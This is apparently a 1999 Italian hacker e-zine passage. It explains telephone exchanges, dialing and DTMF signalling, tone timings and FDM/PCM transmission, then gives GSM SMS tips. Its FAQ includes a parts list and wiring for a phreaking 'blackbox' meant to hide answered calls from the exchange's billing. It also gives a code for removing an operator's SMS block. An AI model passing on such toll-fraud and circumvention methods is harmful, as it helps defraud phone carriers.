\------------[ IT ]----------------------+ | | CONNESSIONE \ | | | FONICA |----------[ ]----------------------+ | | |----------------. | | | /-----------[ GL ]+---------------------+ | | / | .------. .--. | | / ^ | |UTENTE|---|CU|--+--+ / | | '------' '--+--+ '-----------' | | | ^ ^ | | | | | | | | | | | | | .--+-------+-----+--. | | | | \./ .----+-+ MARCATORE | .---. | | | | /'\ | | '-------------------' | | | s 0 m | \./ | | .---. | | /'\ | | | | | s 0 m .-------------------. | | | | INTERFACCIA | | | '----+ PERIFERICA +---------------------------------' | | | \./ '-------------------' CU = CIRCUITO DI UTENTE /'\ /'\ GE = GIUNZIONE ENTRANTE | | GU = GIUNZIONE USCENTE | \./ GL = GIUNZIONE LOCALE | .--------------------------. IT = INVIATORE DI TONO | | .---. .---. .---. | MS = MULTI SUPERVISORE | | |MS | |MT | |MR | | MT = MULTI TRASLATORE | | | | | | | | | MR = MULTI REGISTRO | | '---' '---' '---' | CL = CONNETTORE LOGICO | | .------------. | SM = SCANSORE MULTIPLO | | | CL | | | | '------------' | '------------+-------------' | .------------. | TRADUTTORE | '------------' Come si vede dalla figura, la centrale e' costituita da tre stadi: . Periferica utenti, rete di connessione, giunzioni . Interfaccia periferica . Controllo centrale Nella centrale DST1 il circuito d'utente svolge le seguenti funzioni: -) Da' l'alimentazione all'utente -) Fa da transito per la fonia -) Invia il conteggio al contatore centrale e l'eventuale 12kHz per il conteggio presso l'utente -) Invia 25Hz per la corrente di chiamata -) Effettua l'incapsulamento senza toni Per INCAPSULAMENTO, si intende una situazione di errore che viene a determinarsi quando l'utente durante la fase di impegno o di selezione ritarda l'invio delle cifre per un tempo superiore a 30sec., oppure per linea in corto circuito a causa di un guasto in rete o, infine, se l'utente chiamante o chiamato a fine conversazione non riaggancia il telefono. In questo caso all'utente chiamante viene mandato un segnale di occupato per un tempo di 30sec. e successivamente viene mantenuto uno stato di assenza di toni fin quando questo non riappende o non viene rimosso il guasto. Il Chiamato, viene mantenuto senza toni. GU, GE, GL ed IT, sono particolari circuiti che svolgono determinate funzioni tra cui: -) Tenuta della rete di connessione lato utente -) Possibilita' di inviare la 12kHz, tramite la rete di connessione -) Riconoscimento della 50Hz per la RICEZIONE DEL CONTEGGIO (!!!!) -) Possibilita' di inviare i toni necessari all'utente -) Invio riconoscimento tramite attuatori e sonde della segnalazione di linea .---------------------------------------------. | 2. Dispositivo Telefonico a Disco Meccanico | '---------------------------------------------' Tale apparecchio riceve l'alimentazione dalla centrale telefonica automatica, a differenza di un suo predecessore, che pochi di voi ricorderanno, che era alimentato a pile. _________ +--| |---+ | | +------|<-D1-+ | | +------>|-D2-+ X1 | | +--+- |||||||||||||| a | | G1 --------+---------+ +---O\---------+---------|||||||+||||||------+ | | | | | | | +--+- | | | - X2 | | +--+--+ - C1 | | | | | G2 | +--+--+ - | +-----------R1-------O\-----+ | | C2- R2 | | | | | | | +---+ | +-----+ +--+--+ | | | O | | +----| | / X3 | | | +---+ | | | b | | | | --------+---------------------------+----------------+------------+ In condizioni di riposo (apparecchio non collegato), lo stato dei contatti e' il seguente: X1 e X2 CHIUSI G1 e G2 APERTI I contatti G1 e G2 (gancio di commutazione) si chiudono quando l'utente chiamante solleva il dispositivo. La chiusura dei fili a e b (doppino telefonico) attraverso l'apparecchio determina la circolazione di corrente continua nel circuito microfonico e l'invio all'utente, da parte della centrale, del tono di invito alla selezione. Sottoponendo a rotazione il disco, sul quale sono riportate le cifre (1,2,3,4,...),viene inviata in centrale la numerazione d'utente sotto forma di impulsi elettrici. In quest'operazione distinguiamo due fasi: 1. La corsa di andata, che determina la carica di una molla antagonista. 2. La corsa di ritorno, a velocita' costante, che provoca l'interruzione della corrente di alimentazione in maniera regolare. Le interruzioni sono determinate dal contatto X1, il quale e' costituito da due molle che si aprono e si chiudono sotto l'azione di un albero a camme a sua volta mosso da una molla antagonista. Con questo metodo si ottiene un ritorno del disco REGOLARE E COSTANTE. Durante la carica del disco il relativo meccanismo, interno all'apparecchio, provoca l'apertura del contatto di riposo X2 del disco e la chiusura del contatto X3. Lo stato ON di X3 consente di porre in cortocircuito il dispositivo, evitanto inutili disturbi durante la fase di composizione del numero. Gli impulsi generati durante la corsa di ritorno del disco hanno una durata di circa 60msec. per l'interruzione e 40msec. per la pausa. Alla cifra 1 corrisponde un impulso, alla 2 due... Le centrali predisposte alla ricezione degli impulsi richiedono una pausa fra una cifra e l'altra per poter utilizzare meglio la selezione. FRA UNA CIFRA E L'ALTRA DEVE INTERCORRERE UNA PAUSA DI ALMENO 500msec. In condizioni di riposo, l'apparecchio e' predisposto a ricevere la chiamata essendo la suoneria in collegamento fisso con la centrale attraverso il condensatore C1. L'impedenza del gruppo C1 e' circa 5000Ohm a 25Hz. A circuito chiuso la tensione sul carico puo' abbassarsi fino a circa 55v e dare una corrente di circa una decina di mA. Quando l'utente chiamato solleva il dispositivo, si ha la variazione dello stato del doppino. L'impedenza di chiusura si abbassa notevolmente ed e' resa possibile la circolazione della corrente continua nel circuito del dispositivo. Tale corrente in centrale provoca l'interruzione della chiamata mediante un comando di disattivazione del relativo generatore. Molti di voi, sicuramente, avranno visto girando sul web vari dispositivi di Phreaking (le BOX, per intenderci) che promettevano miracoli (telefonate gratis, etc.etc.). Il funzionamento si basava su questo principio che vi ho sopra esposto e che spesso e' stato fuorviato, dando vita a leggende metropolitane. In pratica le suddette scatolette, collegate in parallelo od in serie (a seconda dell'implementazione) al dispositivo, inibivano la suoneria: il condensatore C1, infatti, impedisce la circolazione di corrente continua nella suoneria SOLTANTO durante la fase di conversazione; inoltre abbassavano l'impedenza del telefono in entrata, ma la rialzavano in uscita dando l'illusione alla centrale che la cornetta non fosse stata ancora alzata. .-----------------------------------------. | 3. Dispositivo Telefonico a Toni o DTMF | '-----------------------------------------' Il disco combinatore, appena visto, presenta dei difetti che possono essere superati con la tastiera a pulsanti. Dal punto di vista dell'utente la manovra e' molto piu' rapida ed inoltre per tutti gli apparecchi collegati a Centrali di tipo Numerico si ottiene un calo drastico dei tempi di chiamata dell'ordine del 65%. L'utilizzo della tastiera, al posto del disco, puo' avvenire in due maniere diverse: 1. In maniera identica al disco (trascureremo questo punto, perche' identico al suo predecessore) 2. Mediante Combinazioni di toni in banda fonica. Gli apparecchi di tipo 2 DEVONO essere collegati a centrali dotate di ricevitori DTMF, in grado cioe' di effettuare la decodifica dei toni. +----------+ X1 | | -------+---------O\----+------/O-------------+--------+ | Linea | | | | | +---+----+ | ^ | | Circuito | |Circuito| | | O X3 | Fonico | | di | | | +------> / | | |Chiamata| | | | | | | +--------+ | | | | | | -----------------+-----+-------+---+---------+--------+ | | | | | +--+-----+---+ +----------+ |Alimentatore| +--+-----+---+ +-------------+ | | | | +-------------+ | +------+ |---------+-(1) (2) (3) | +------------+ |R1 | | | IC |---------+-(4) (5) (6) | | Generatore |R2 | | | di toni |---------+-(7) (8) (9) | | Multi-Freq |R3 | | | |---------+-(*) (0) (#) | | |R4 +--|---|---|--+ | |------------+ | | | |C3 | | | |----------------+ | | |C2 | | |--------------------+ | |C1 +-------------+ La funzione dei contatti meccanici X1 e X3 del vecchio disco e' ora svolta da interruttori elettronici pilotati da un circuito integrato collegato alla tastiera, mentre il contatto X2 non ha ragione di esistere. Nell'istante in cui l'utente solleva il dispositivo tale circuito riceve l'alimentazione dalla centrale e trasforma la pressione esercitata su un pulsante in TONI DTMF, leggibili e decodificabili dalla centrale. Per ogni cifra viene inviata in centrale una copia di toni avente frequenze come in tabella: +---------- +---------------|-----+ 697--+-(1)--(2)--(3)-|-(A) | | | | | | | | 770--+-(4)--(5)--(6)-|-(B) | | | | | | | | FUNZIONI 852--+-(7)--(8)--(9)-|-(C) | SPECIALI | | | | | | | 941--+-(*)--(0)--(#)-|-(D) | +--+----+----+--|--+--+ | | | | | 1209 1336 1477| 1633 +---------+ Alle righe sono associate frequenze di un gruppo basso (sotto i 1000Hz) crescenti dall'alto verso il basso: 697, 770, 852, 941 Hz. Alle colonne, invece, sono associate frequenze di un gruppo alto (superiori a 1000Hz) e crescenti da sinistra verso destra: 1209, 1336, 1477 Hz. La tastiera NORMALE e' costituita da 4 righe e 3 colonne. E' prevista una quarta colonna quando si vogliono aumentare le funzioni dell'apparecchio. La frequenza e' di 1633Hz. La durata dei toni e' di circa 50msec., mentre tra una cifra e l'altra la pausa e' di 45msec. .--------------------------------------------. | 4. Toni, Segnalazioni di Invio e Risposta | | Collegamenti fra centrali | '--------------------------------------------' La realizzazione di un collegamento telefonico fra due utenti e' resa possibile dallo scambio di informazioni che avviene fra utente e centrale, fra gli organi di connessione di una stessa centrale e fra centrale-centrale. Tali informazioni, che nella commutazione manuale erano di tipo vocale, nella rete teleselettiva (elettromeccanica o elettronica) assumono l'aspetto di segnali elettrici. Nella Rete Urbana, essendo le centrali a breve distanza, esse vengono collegate da 3fili dei quali due, i fili a e b, per la fonia, e uno, il filo c, per la trasmissione dei segnali in corrente continua. (So che cosa state pensando... "ma io uso solo 2 fili"... SILENZIO... ne parlo fra un attimo!) L'insieme dei segnali scambiati assume il nome di segnalazione telefonica. Quando un utente solleva il telefono perche' desidera effettuare una chiamata, l'operazione viene definita come un IMPEGNO e consiste nel dare una terra al filo c, permettendo la circolazione di corrente continua nello stesso. Tale corrente rappresenta il segnale d'impegno. Il fine Conversazione viene definito come criterio di svincolo e consiste nel togliere terra al filo c, operazione che si traduce in una mancanza di corrente continua in detto filo. La trasmissione dei segnali in corrente continua va bene anche nei collegamenti interurbani non superiori ai 20Km. Oltre questa distanza, infatti, a causa dell'attenuazione e della distorsione provocata dal mezzo trasmissivo, i segnali possono presentare errori. Per ragioni economiche conviene usare, oltre una certa distanza, collegamenti a 2FILI e inviare i segnali in continua sui fili di fonia (RETI SETTORIALI). Per distanze superiori ai 20Km si passa a sistemi di segnalazione legati alla tecnica di trasmissione della fonia e alla tecnica di commutazione. |Tipi di Segnale - Tipi di Codice - Metodi di Trasmissione| '---------------------------------------------------------' I segnali possono classificarsi essenzialmente in due categorie: . Segnali di Linea . Segnali di Registro -Segnali di Linea Sono segnali che servono per la predisposizione, supervisione e liberazione degli organi di commutazione. Essi non vengono utilizzati ne' per la scelta del chiamato ne' per l'istradamento. I segnali di linea possono essere cosi' riassunti: . Segnali in avanti (impegno, svincolo, offerta, richiamata) . Segnali a Ritroso (risposta, fine conversazione, controllo svincolo, blocco di linea) - Segnali di Registro Sono segnali che presiedono all'istradamento del collegamento che sta per nascere, ossia all'individuazione del chiamato attraverso la selezione delle cifre e al pilotaggio degli organi di commutazione delle centrali che si trovano sulla via scelta fra la centrale di partenza e quella di arrivo. Questi segnali vanno ad interessare gli organi centralizzati preposti a ricevere e trasmettere i segnali di istradamento. Essi sono: . Le cifre di selezione . Fine Selezione . Pronto o Invito a trasmettere - Codici di Segnalazione Sono di 3 Tipi: . Continui . Impulsivi . Asserviti Nei CODICI CONTINUI il segnale e' presente in linea per tutto il tempo in cui persiste lo stato elettrico che ha determinato il segnale stesso. Sono usati prevalentemente su linee in corrente continua, ma trovano applicazione anche nei sistemi in alta frequenza. I CODICI IMPULSIVI sono rappresentati da segnali di una certa durata, seguiti da interruzzioni di durata in genere diversa. La combinazione di vari impulsi seguiti da pause da' luogo al codice. Nei CODICI ASSERVITI ad ogni segnale inviato in avanti fa seguito un segnale a ritroso che conferma la corretta ricezione del segnale in avanti. L'instradamento dei segnali puo' avvenire in due modi: . Da Sezione a Sezione (Centrale di Partenza -> Centrali Intermedie -> Centrale di Arrivo) . Da Estremo a Estremo (Centrale di Partenza -> Centrale di Arrivo) |Sistema di Segnalazione a Frequenza FUORI-BANDA| '-----------------------------------------------' Viene utilizzato in tutti i circuiti urbani e non, operanti in tecnica FDM. In questo sistema si ha la trasformazione dei segnali in continua in segnali aventi codice impulsivo costituiti da una frequenza di 3825Hz. Si parla di sistema fuori BANDA FONICA in quanto la frequenza 3825Hz e' fuori dalla banda netta (300Hz - 3400Hz). .--------------------------------------------------------------------------. | TIPO DI SEGNALE |DIREZIONE| SEGNALE | +------------------------+---------+---------------------------------------+ | Impegno di Transito | ---> | ########********######## | | | | 60-100 40-60 42-100 | |------------------------+---------+---------------------------------------| | Impegno Terminale | ---> | ######## | | | | 60-100 | |------------------------+---------+---------------------------------------| | Pronto | <--- | ######## | | | | 80-150 | |------------------------+---------+---------------------------------------| | Segnali di Selezione | ---> | ######******######******######****** | | | | 42-58 32-68 | |------------------------+---------+---------------------------------------| | Fine Selezione | <--- | ######### | | | | 100-150 | |------------------------+---------+---------------------------------------| | Risposta | <--- | ######### | | | | 100-150 | |------------------------+---------+---------------------------------------| | Fine Conversazione | <--- | ######********######*****######***** | | | | 60-80 110-140 | |------------------------+---------+---------------------------------------| | Offerta e Richiamata | ---> | ######******#####*****#####***** | | | | 50-56 44-50 | |------------------------+---------+---------------------------------------| | Svincolo | ---> | #################################### | | | | 600-800 | |------------------------+---------+---------------------------------------| | Controllo Svincolo | <--- | ######## | | | | 80 | |------------------------+---------+---------------------------------------| | Blocco in Linea | <--- | #################################### | | | | | +------------------------+---------+---------------------------------------+ |#### = IMPULSO | |**** = PAUSA | +--------------------------------------------------------------------------+ |I Tempi sono espressi in msec. | +--------------------------------------------------------------------------+ |Sistema di Segnalazione MULTIFREQUENZA| '--------------------------------------' Il Sistema prevede l'invio in linea di una coppia di frequenze in banda fonica per i segnali in avanti e quelli a ritroso. Sono codificati solo i segnali di registro, mentre per i sengnali di linea si adotta il sistema a 3825Hz. Le Frequenze in avanti sono: 1380-1500-1620-1740-1860-1980 Hz Quelle a ritroso sono : 1140-1020-900-780-660-540 Hz Fra una frequenza e l'altra c'e' una differenza di 120Hz con una tolleranza di 4Hz per la trasmissione e 10Hz per la ricezione. LA TRAMISSIONE DELLE DUE FREQUENZE E' SIMULTANEA. Per traffico intercontinentale si usa il codice con il maggior numero di segnali: 15 in avanti e 15 in ritroso. A livello continentale e' utilizzato un numero di segnali in avanti e a ritroso minore di 15 (~7 attualmente). Nell'ambito nazionale e' previsto il codice MFN, con l'impego di 5 freq. per i segnali in avanti e 4 per quelli a ritroso. Nel caso siano necessari altri segnali si ricorre alla 6a frequenza. .--------------------------------------. |1380|1500|1620|1740|1860|1980| AVANTI | |1140|1020|900 |780 |660 |540 | RITROSO| .----+----+----+----+----+----+----+--------+ | 1 | XX | YY | | | | | | |----+----+----+----+----+----+----+--------+ | 2 | XX | | YY | | | | | |----+----+----+----+----+----+----+--------+ | 3 | | XX | YY | XX | | | | |----+----+----+----+----+----+----+--------+ | 4 | XX | | | YY | | | | |----+----+----+----+----+----+----+--------+ | 5 | | XX | | | | | | |----+----+----+----+----+----+----+--------+ | 6 | | | XX | YY | | | | |----+----+----+----+----+----+----+--------+ | 7 | XX | | | | YY | | | |----+----+----+----+----+----+----+--------+ | 8 | | XX | | | YY | | | |----+----+----+----+----+----+----+--------+ | 9 | | | XX | | YY | | | |----+----+----+----+----+----+----+--------+ | 10 | | | | YY | YY | | | .----+----+----+----+----+----+----+--------+ |Frequenze di Segnalazione| '-------------------------' Si e' detto che durante la fase di costruzione e liberazione di un collegamento fra la Centale e gli utenti CHIAMANTE e CHIAMATO avviene uno scambio di informazioni sotto forma di segnali elettrici. Quando l'utente chiamante solleva il dispositivo la centrale gli invia un tono di frequenza 450Hz di tipo impulsivo cosi' costituito: | | 200 400 1000 |-----------|--------------|-----------------|-----------------> TEMPO (msec.) | PRESENZA PAUSA PRESENZA | 450Hz 450Hz | | L'impulso si ripete per un certo lasso di tempo. Tale segnale ha significato di invito alla selezione. Una volta realizzato il collegamento CHIAMANTE-CHIAMATO al primo viene inviato il tono di libero della stessa frequenza (450Hz), di durata 1sec. e pausa 3/4msec. Al Chiamato, invece, viene inviata la corrente di chiamata di frequenza 25Hz, avente la stessa cadenza del tono di libero. | | 1000 1000,75 |-------------------------------------------|---------|--------> TEMPO (msec.) | PRESENZA (450Hz) PAUSA | | Se l'utente chiamato e' occupato la centrale invia al chiamante il tono di occupato, sempre di frequenza (450Hz), costituito da impulsi di 200mec, seguiti da pause della stessa durata. | | 200 400 600 800 |------------|--------------|--------------|--------------|----> TEMPO (msec.) | PRESENZA PAUSA PRESENZA PAUSA | 450Hz 450Hz | | .------------------------------------------------. | 5. Mezzi Trasmissivi | | Caratteristiche dei Sistemi di Trasmissione | '------------------------------------------------' La trasmissione a distanza si basa sulla propagazione dei segnali elettrici nei diversi mezzi che la tecnologia mette a disposizione. Sostanzialmente la propagazione puo' avvenire in due modi: 1. Onde Guidate 2. Onde Irradiate Per il primo metodo, diversi sono i mezzi trasmissivi a disposizione: . Portanti metallici . Guide d'onda . Fibre ottiche Questi, avendo una struttura prestabilita, hanno un comportamento facilmente prevedibile e controllabile. Inoltre, essendo schermati verso l'esterno non sono soggetti a interferenze. Per il secondo tipo, invece, la propagazione avviene nello spazio libero attraverso dispositivi irradiati (ponti radio, satelliti). Questi mezzi, pur essendo meno controllabili nel comportamento, rispetto ai precedenti offrono in certi casi vantaggi in quanto l'attenuazione cresce piu' lentamente con la distanza. OGNI MEZZO TRASMISSIVO E' CARATTERIZZATO DA UN CERTO NUMERO DI PARAMETRI. Le principali caratteristiche dei mezzi trasmissivi attualmente impiegati per le trasmissioni telefoniche sono: . Risposta in frequenza . Numero di canali telefonici multiplabili . Passo di ripetizione Il Collegamento UTENTE-UTENTE deve essere realizzato in maniera tale da consentire la trasmissione bidirezionale dell'informazione. Se gli utenti si trovano a una certa distanza si dovra' procedere ad amplificare il segnale sul mezzo trasmissivo. Essendo gli organi elettronici preposti allo scopo a funzionamento unidirezionale nasce il problema di separare le due vie di trasmissione. L'organo adatto allo scopo e' il TRASLATORE DIFFERENZIALE. In generale il circuito telefonico UTENTE-UTENTE comprende collegamenti di tipo UTENTE-CENTRALE e collegamenti CENTRALE-CENTRALE. +------+ +---+ +---+ +---+ +---+ +---+ +---+ +---+ +---+ +---+ +------+ |UTENTE|-|CRU|--|CS |--|CD |--|CC |--|CN |-|CC |-|CD |--|CS |--|CRU|-|UTENTE| +------+ +---+ +---+ +---+ +---+ +---+ +---+ +---+ +---+ +---+ +------+ Le tratte UTENTE-CRU, CS-CD sono a 2 Fili, mentre nelle altre tratte la trasmissione si ha su 4Fili. Per poter amplificare un circuito a 2Fili, si ricorre all'amplificatore BIDIREZIONALE. +------+ +---------------+ |\ +----------------+ | | | > | | | +------------+ |/ +-------------+ | | | +------+ | | | | | | 3O O3b 6O O6b | | | | +-+--+-+ +-----+ +-----+ +-+--+-+ 1 | O | | | | | 7 | O | 2 - - -O---+ | |--O-+ | + |--O-| | |---O- - - |--+-O | | LA | | LA | |O-+-- | - - -O---+ | |--O-+ | + |--O-| | |---O- - - 1b | O | | | | | 7b | O | 2b +-+--+-+ +-----+ +-----+ +-+--+-+ | | | | 4O O4b 8O O8b | | | | | | +------+ | | | +------------+ /| +-------------+ | | | < | | | +---------------+ \| +----------------+ +------+ Le due forchette telefoniche hanno la funzione di consentire l'amplificazione in entrambi i sensi di trasmissione senza ritorno di segnale. .--------------------------------. | 6. Trasmissione in Tecnica FDM | '--------------------------------' Si tratta di una tecnica di trasmissione MULTICANALE. In pratica vengono trasmesse N conversazioni su un unico circuito. Ovviamente tale operazione, chiamata MULTIPLAZIONE, risulta possibile solo dopo opportuno processamento degli N segnali da traasmettere. L'apparecchiatura che esegue l'elaborazione suddetta si chiama MULTIPLEX TELEFONICO. La prima tecnica multicanale impiegata in telefonia e' stata quella a divisione di frequenza (FDM). In essa ad ogni messaggio di ingresso, avente banda 4kHz, viene assegnata una porzione della banda complessiva che il mezzo mette a disposizione. Occorre pertanto effettuare una traslazione di banda a partire dal segnale fonico in banda base. L'operazione che consente di traslare una banda da una posizione ad un altra e' la modulazione. L'ordine di multiplazione, ossia il numero massimo di canali che si possono trasmettere contemporaneamente dipende dal messo tramissivo impiegato. La tecnica FDM si sviluppa su linee aeree, cavi a coppie simmetriche e cavi coassiali o ponti radio. Il sistema FDM, basandosi sul processo di modulazione, deve modificare una o piu' caratteristiche di un segnale portante mediante la legge di variazione dell'informazione. Nei sistemi FDM, la portante e' un'onda sinusoidale avente frequenza in generale molto maggiore della massima frequenza contenuta nell'informazione. Sono possibili 3 tipi di modulazione: . AM (Amplitude Modulation) . FM (Frequency Modulation) . PM (Phase Modulation) Fra queste, l'AM e' stata impiegata in maniera ESCLUSIVA nei sistemi FDM. In Ricezione, ovviamente, per riportare l'informazione in banda base occorre eseguire l'operazione complementare alla modulazione, ossia la DEMODULAZIONE. D1 O------------+ +----+----->|-------+---+ +--------------O | | \__ / | | ||| ||| /\ D3 / ||| ||| ||| ||| \ / ||| ||| ||| ||| \ / ||| ||| ||| ||| \ / ||| ||| SEGNALE ||| ||+--+ \ / +-+|| ||| MODULANTE ||| ||| | \/ | ||| ||| SEGNALE ||| ||| | /\ | ||| ||| MODULATO ||| ||| | / \ | ||| ||| ||| ||| | / \ | ||| ||| ||| ||| | / \ | ||| ||| ||| ||| | / \ | ||| ||| ||| ||| | / \ | ||| ||| ||| ||| |_\/_ D4 \ | ||| ||| | | |/ \| | | O------------+ +---|------->|-------+--+ +---------------O | D2 | | | | | | +------+ | +----| ~ |----+ +------+ PORTANTE Quello sopra disegnato e' un modulatore comunemente usato nei sistemi FDM. Viene detto MODULATORE BILANCIATO AD ANELLO. Si tratta, in effetti, di un circuito molto semplice costituito da: . 2 Traslatori . 1 Ponte di DIODI .--------------------------------. | 7. Trasmissione in Tecnica PCM | '--------------------------------' L'introduzione della tecnica numeraria PCM (modulazione di impulsi codificati) nella trasmissione dei segnali fonici nasce come necessita' di utilizzare in modo conveniente linee particolarmente rumorose per le quali i sistemi analogici multipli (FDM) risultano decisamente inadeguati in fatto di qualita' del segnale trasmesso. Per far chiarezza, sottolineamo la differenza tra segnali continui e discreti. Si ha un segnale continuo quando esso puo' assumere, in funzione del tempo, infiniti valori compresi tra un livello minimo ed un livello massimo. Appartengono a questa categoria, ad esempio, il segnale fonico o quello TV. Si ha invece un segnale discreto quando al variare del tempo, esso assume soltanto un certo numero di valori prestabiliti. Se i livelli sono soltanto 2, rappresentati dai simboli 0 ed 1, si ha il segnale binario. Quest'ultimo, avendo 2 soli livelli, risulta poco influenzato dalla distorsione del segnale, dovuta alle lunghe distanze od ai disturbi di linea. Infatti, in ricezione, procedendo al riconoscimento del segnale nell'istante intermedio alla durata del simbolo, le probabilita' di perdere il segnale sono molto ridotte. Si potra' avere errore solo se, nel caso ad esempio di simbolo "0", nello stesso istante di decisione di superamento della soglia di riconoscimento del simbolo "1". Queste caratteristiche permettono ai collegamenti PCM di raggiungere, almeno teoricamente, distanze notevolissime mantenendo il rumore entro certi limiti. Alla base di questo tipo di trasmissione sta' il fatto che per riprodurre in modo corretto a distanza un'informazione non e' necessario tramsettere il segnale con continuita', ma e' sufficente inviare un treno di impulsi avente una certa periodicita'. Il segnale impulsivo, dato che conserva le caratteristiche di quello originario riguardo l'ampiezza, prende il nome di segnale PAM. Quest'ultimo, essendo un segnale di tipo analogico, si degrada facilmente sul mezzo trasmissivo: risulta allora conveniente una sua trasformazione in segnale numerico. Quest'operazione prende il nome di codifica del segnale PAM e consiste in una discretizzazione dell'ampiezza degli impulsi in codice binario. Il Campionamento del segnale continuo rende possibile l'operazione di multiplazione di piu' canali sullo stesso circuito telefonico. La multiplazione dei canali fonici puo' realizzarsi in due modi: . Sul Segnale PAM . Sul Segnale numerico PCM |MULTIPLAZIONE su segnale PAM| '----------------------------' Si opera il campionamento di N canali con successiva multiplazione sul segnale PAM attraverso un BUS. Al multiplo fa seguito un convertitore A/D, comune a tutti i canali. .------. .------------. .---. |CAN. 1|-----|CAMPIONATORE|-----| M | '------' '------------' | U | | L | .------. .------------. | T | PAM .-------. PCM LINEA |CAN. 2|-----|CAMPIONATORE|-----| I |--------| A/D |--------------------- '--+---' '------------' | P | '-------' . | L | . | E | . | X | . | | .--+---. .------------. | P | |CAN. N|-----|CAMPIONATORE|-----| A | '------' '------------' | M | | | '---' |MULTIPLAZIONE su segnale PCM| '----------------------------' Si opera il campionamento di N canali, successivamente si effettua la codifica individuale, quindi la multiplazione sul segnale PCM. .------. BF .-------. PCM .---. |CAN. 1|-----| A/D |-----| M | '------' '-------' | U | | L | .------. BF .-------. PCM | T | |CAN. 2|-----| A/D |-----| I | '---+--' '---+---' | P | LINEA . . | L |----------- . . | E | . . | X | . . | | . . | P | . . | C | .---+--. BF .---+---. PCM | M | |CAN. N|-----| A/D |-----| | '------' '-------' '---' .--------------------------------. | 8. F.a.Q. | '--------------------------------' lam0r> Ho sentito dire, che esistono in giro dei codici per poter disattivare il CID, ma che sono solo in mano di operatori TELECOM e' vero? r0x> NO. Assolutamente NO. L'unico modo, per poter "spoofare" il proprio CID e' quello di utilizzare un "DIVERTER", in pratica un BOUNCER Telefonico di cui parleremo la prossima volta. Il proprio identificativo, infatti, viene spedito IMMEDIATAMENTE alla centrale che lo inserisce nel "pacchetto" di chiamata. lam0r> Ho sentito dire che quando si chiama un numero verde vecchio del tipo 167-0xx-xxx il mio numero di telefono non arriva. r0x> Niente di piu' falso! Le centrali TELECOM LOGGANO anche le chiamate non andate a buon fine (occupato o inesistente). E' a discrezione della societa' detentrice del green richiedere o meno il traffico telefonico sul proprio numero. NON ESISTONO numerazioni verdi piu' vecchie di altre! TUTTE Le "nuove" centrali VERDI hanno il "CID Identify" BUILT-IN. Nel prossimo artikolo faro' vedere come funzionano queste centrali con un esempio pratico di centrale per green "ERICSON". lam0r> Esiste un modo per poter fare suonare il mio telefono come se mi stessero chiamando? r0X> Dipende dal tipo di centrale a cui si e' collegati. Comunque, in quasi tutti i nuovi sistemi, dovrebbe funzionare: 1372 Sentirai uno tono CONTINUO. Riaggancia e dopo pochi istanti il telefono suonera'. lam0r> Come funziona il numero da chiamare per vedere se si e' LOGGATI ? r0x> uhaZ! Non esiste nessun numero per vedere se si e' loggati!... uhauhz Se c'era non bustavano piu' nessuno... uhauhzuahzuh lam0r> In ITALIA e' possibile utilizzare le BLACKBOX? Cosa sono precisamente? E come si costruisce? r0x> La BLACKBOX, e' un sistema, che impedisce all'impendenza del circuito del telefono di alzarsi od abbassarsi per non fare rilevare alla centrale dell'avvenuta connessione con il chiamante. ATTUALMENTE NON E' POSSIBILE UTILIZZARLA SULLE NUOVE CENTRALI, anche se mi e' stato detto che su alcune funziona ugualmente. L'unica cosa da fare e' provare. Qui c'e' uno schema pratico di costruzione: Filo BIANCO >--------------------------------> LINEA Filo ROSSO TELEFONO >----------------. .------> | LED | .----O---. | | .--/\/\/-. 1.8k L'occurrente e': . un po' di filo, . una resistenza da 1.8k, . un comune LED da 1.5v. Da notare che SE il dispositivo e' in funzione si possono SOLO ricevere telefonate. Per poter chiamare e' necessario togliere la BLACKBOX. Lascio alla vostra grande genialita' l'aggiunta di un piccolo SWITCH per disabilitare il sistema. Valv0lin3 ----------------------[ GSM PH0NES F0R FUNZ AND PR0FiT ]---------------------- ---------------------------------[ VaLV0LiN3 ]-------------------------------- .------------------. | \ \ / / |_ |ValV0liN3 cReW '99|| 01. iNTr0 | \ \ / / || 02. E-Mail wiTH SMS | \ ^ / || 03. SMS aRound The WorLD! |_ _ _ \___/_ _ _ _|| 04. ScriptTiM - Guida All'Uso '------------------' .---------------------. | 01. iNTr0 | '---------------------' R3s0urC3 : 4BeerZ, 3t0nZ. of BiGBuRGeR Smashing PunKiNs RuLEZzZzZ TiM3/DaTe : 10/04/1999 - 15.15 g0SSiP : Beh!, molTo PoKo da Dire... Quest'artiKolo e' un insieme di tips & tricks per GSM PhoNeS. Ho PenSato di Fare Cosa Gradita mettendo su questo Numero queste inF0z dato ke 2mila persone mi kiedevano sempre le stesse Kose!... ....eheheh (visto NukE ?!!?) gr33tZ : I Mie Ringraziamenti, vanno a tutta la posse di s0ftpj... ...in particolare: smaster - grazie per la pazienza, br0th' \sPIRIT\ - sikuri di vincere con NeTRaiDeR! :PP Cavallo - uahuzhauhzuhauhz Dashie, |scacco|, B_Berry, pIGpEN... .---------------------. | 01. E-Mail wiTH SMS | '---------------------' E' possibile inviare direttamente e in modo assolutamente gratuito e-mail a qualsiasi utente Internet attraverso il proprio cellulare GSM. Il mex arrivera' nella normale casella di posta elettronica del destinatario. Let' g0 Play!! -------------- 1) Immettere come Centro Servizi il numero: +436640501 2) Comporre un breve messaggio in questo modo: indirizzo_email(soggetto)testo del messaggio AD ESEMPIO: valvoline@usa.net (sogggetto del messaggio test) questo e' un test! 3) Inviare il messaggio cosi' composto al numero: 664051 Il messaggio sara' recapitato in pochi secondi! Per i clienti Omnitel con carte "LIBERO" o Clienti di Prepagate "TIM" in alcuni casi il gateway potrebbe non funzionare e dare una risposta del tipo "Messaggio non inviato". PER RIMUOVERE LA PASSWORD DI BLOCCO DAI CELLULARI OMNITEL PER L'UTILIZZO DI SMS STRANIERI UTILIZZARE IL SEGUENTE CODICE: #332*Password_blocco*16# [invio] -- Grazie uNZiK^, per il codice! .---------------------------. | 03. SMS aR0unD Th3 W0rlD! | '---------------------------' Eccovi una tabella con dentro i numeri telefonici degli SMSC di molti operatori GSM nel mondo. Non e' sempre e per tutti possibile accedere a Centri Servizi (SMSC) diversi dai propri! Ricordo ai possessori di cellulari Omnitel che possono rimuovere il blocco dell'utilizzo di sms stranieri usando il codice presentato poche righe fa. Non mi risultano limitazioni in atto per possessori di Carta WIND. .----------------+-------------------+----------------------. | Operatore | Stato | SMSC | +----------------+-------------------+----------------------+ | Washington PCS | USA | +1 704 410 0000 | +----------------+-------------------+----------------------+ | Fido GSM | Canada | +1 514 993 1123 | +----------------+-------------------+----------------------+ | MTN | Sud Africa | +27 83 1000002 | +----------------+-------------------+----------------------+ | Vodacom | Sud Africa | +27 82 9119 | | Vodacom | Sud Africa | +27 82 9129 | 